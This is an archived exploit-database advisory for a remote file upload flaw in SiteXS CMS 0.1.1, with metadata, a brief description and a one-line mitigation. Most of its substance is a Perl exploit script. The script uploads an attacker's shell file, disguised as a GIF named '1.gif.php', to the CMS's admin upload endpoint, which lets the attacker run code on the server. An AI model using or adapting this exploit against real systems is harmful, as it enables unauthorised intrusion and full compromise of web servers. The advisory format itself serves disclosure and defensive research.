SiteXS CMS Remote File Upload Vulnerability

vendor:

SiteXS CMS

by:

Hadi Kiamarsi

7.5

CVSS

HIGH

Remote File Upload Vulnerability

434

CWE

Product Name: SiteXS CMS

Affected Version From: SiteXS CMS 0.1.1 Pre-Alpha

Affected Version To: Other versions may also be affected.

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

SiteXS CMS Remote File Upload Vulnerability

SiteXS is prone to a vulnerability that lets remote attackers upload and execute arbitrary script code because the application fails to sanitize user-supplied input. An attacker can leverage this issue to execute arbitrary code on an affected computer with the privileges of the webserver process.

Mitigation:

Input validation should be used to ensure that untrusted data is not allowed to be processed by the application.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/29029/info

SiteXS is prone to a vulnerability that lets remote attackers upload and execute arbitrary script code because the application fails to sanitize user-supplied input.

An attacker can leverage this issue to execute arbitrary code on an affected computer with the privileges of the webserver process.

SiteXS CMS 0.1.1 Pre-Alpha is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
# Author : Hadi Kiamarsi
# Discover By : Hadi Kiamarsi
# Exploit By : Hadi Kiamarsi 
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http:www.example.com/[sitexs]/adm/visual/upload.php',     
             Content_Type => 'form-data',
             Content => [
              UPLOAD => ["Your shell file path", "1.gif.php", "Content-Type" => 
"image/gif"],submit => 'true',type => 'images',path => '',process => 'true',
             ],
		    );
print $res->as_string();